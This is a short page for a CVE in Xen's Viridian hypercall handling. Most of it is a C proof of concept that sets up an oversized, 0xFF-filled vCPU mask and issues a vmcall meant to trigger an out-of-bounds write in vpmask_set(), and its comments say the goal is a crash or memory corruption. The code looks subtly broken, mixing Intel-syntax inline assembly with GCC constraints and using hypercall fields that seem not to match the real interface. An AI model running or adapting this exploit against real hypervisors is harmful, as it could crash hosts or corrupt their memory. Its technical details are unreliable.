CVE-2025-58147: Xen Viridian超调用越界读写漏洞

// PoC for CVE-2025-58147 - Xen Viridian vpmask_set out-of-bounds write // This is a conceptual PoC demonstrating the vulnerability #include <stdint.h> #include <string.h> // Xen hypercall numbers #define __HYPERVISOR_viridian_call 0x49 // Viridian hypercall IDs #define HV_VP_SET 0x004 // HV_VP_SET format flags #define HV_VP_SET_SPARSE 0x02 // Structure for Viridian hypercall input struct xen_viridian_call { uint32_t call_code; uint32_t input_param; uint64_t output_param; }; // Malicious vCPU mask that triggers out-of-bounds write // The sparse format allows specifying non-contiguous vCPU IDs void exploit_viridian_oob_write(void) { struct xen_viridian_call call; uint64_t vcpu_mask_buffer[64]; // Maliciously large mask // Initialize with values that exceed vCPU count memset(vcpu_mask_buffer, 0xFF, sizeof(vcpu_mask_buffer)); // Setup hypercall to trigger vpmask_set() with sparse format call.call_code = HV_VP_SET; call.input_param = HV_VP_SET_SPARSE; // Use sparse format call.output_param = (uint64_t)&vcpu_mask_buffer; // Trigger hypercall - will cause OOB write in vpmask_set() // This should crash the VM or allow memory corruption asm volatile ( "mov rax, %0;\n" "mov rdi, %1;\n" "vmcall;\n" : : "i"(__HYPERVISOR_viridian_call), "r"(&call) : "rax", "rdi", "memory" ); } // Note: Actual exploitation requires specific Xen version and configuration // This PoC is for educational/research purposes only